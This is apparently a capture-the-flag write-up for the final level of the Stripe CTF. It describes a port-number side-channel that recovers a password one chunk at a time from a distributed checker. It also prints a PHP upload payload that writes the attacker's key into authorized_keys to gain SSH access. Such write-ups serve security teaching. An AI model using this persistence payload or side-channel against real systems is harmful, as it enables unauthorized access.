This level involves a piece of software called PasswordDB - a distributed password validation system.
This level is interesting in that it's the first which actually requires running a program which does a significant amount of work for you and which couldn't simply be replicated by hand easily.
It's also the final level. :)
The first thing to note is that there's a lot of code, and actually 5 servers that run:
- Primary server (primary_server)
- Chunk server A (chunk_server)
- Chunk server B (chunk_server)
- Chunk server C (chunk_server)
- Chunk server D (chunk_server)
All servers accept HTTP queries. The primary server is the only server visible to the attacker. The primary server has "webhook" support, where it'll call you back with the same information as it returns in the HTTP response.
The primary server is specifically designed to prevent (well, make difficult) timing attacks for the following vulnerability.
When the primary server checks the flag, it does so in the following pseudocode:
servers = ['chunk_server_a', 'chunk_server_b', 'chunk_server_c', 'chunk_server_d']
chunked_code = split_into_chunks(input, len(servers))
for chunk in chunked_code:
if not ask_server(servers.pop(0), chunk): # if the server says the code is wrong
prevent_timing_attacks() # do a little sleep to discourage timing attacks
return False # stop immediately
return True
It's important to note that the primary server will only ask the minimum number of chunk servers required to find out if a flag is invalid. This is key.
If your entire flag is correct, then this happens:
- PServer receives request
- PServer splits into chunks
- PServer queries CServer A (out 1)
- CServer A responds saying it's OK
- PServer queries CServer B (out 2)
- CServer B responds saying it's OK
- PServer queries CServer C (out 3)
- CServer C responds saying it's OK
- PServer queries CServer D (out 4)
- CServer D responds saying it's OK
- PServer pings each of your webhooks saying that it's OK
- PServer responds to you saying it's OK and closes the connection
However, if only your first chunk is correct, this happens:
- PServer receives request
- PServer splits into chunks
- PServer queries CServer A (out 1)
- CServer A responds saying it's wrong
- PServer sleeps for a bit
- PServer pings each of your webhooks saying that it's wrong
- PServer responds to you saying it's wrong and closes the connection
In this case, the PServer only makes one outbound connection.
Simple.
The TCP port that the PServer connects from, to your webhook.
To exploit this, you can do the following:
- Open HTTP connection with, e.g. 122xxxxxxxxx as the password
- PServer makes outbound connection to CServer A, it's wrong
- PServer sleeps
- PServer pings you back on your webhook
- You record the PServer port number that the pingback came from
- PServer closes HTTP connection
- Open HTTP connection with 122xxxxxxxxx as the password again
- PServer makes outbound connection to CServer A, it's wrong
- PServer sleeps
- PServer pings you back on your webhook
- You record this new PServer port number and subtract the previous number
- PServer closes HTTP connection
For the first chunk, the difference in port numbers is 2 for an invalid guess, and 3 for a valid guess. Thus, you just keep trying until you get a 3.
Jitter should only increase the port difference. If you don't get a 2, keep trying. My code stops after it gets several 3 responses.
First, you need access to SSH on a level2 server. You do this by going back to level2's vulnerable upload script, and uploading a script which lets you add your own SSH key to authorized_keys:
<?php
$my_key = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl5m6cUBAIo9BUFRZjwWze68qN9xvrLRMs+OlAyoi3VTzT+QHnCeTkLUL/V2raCjrbtJGNOgANtJ7m+/17FxKQ9+MNPBiGCR7nPWJ2EQDSh8h4A5NWwwTdVPWBmlBN40d8ni6JjlXFm/D+hoBxUxaRBjYQpi5N9GpdDK4GAQHuSb3pJob+ANGeV4LvWBzmlCp6mZf63yljLtPMTXRT58XAe4D4kMUdh59tDpr9dmpsqPtxW/9fXJgQdgpa4kGrj+UkaPj+GkZemneUq6Ih200vZL90MIGzZcJ4as4EKtpXbfo8M+YMZ53i2RA1ZzEcrZ/77ls31l9GWBMEY91IwbbB [email protected]';
mkdir("../../.ssh");
chmod("../../.ssh", 0700);
file_put_contents("../../.ssh/authorized_keys", $my_key);
chmod("../../.ssh/authorized_keys", 0600);
?>
and then run that. You now have ssh access to user-userstring@level02-servernumber.stripe-ctf.com - hooray!
Next, you need to write a script to make outgoing calls to the PServer and receive webhooks and their associated outbound port numbers. I did this in Go, and you can find it in the level08 folder in this git repository.
Finally: run it!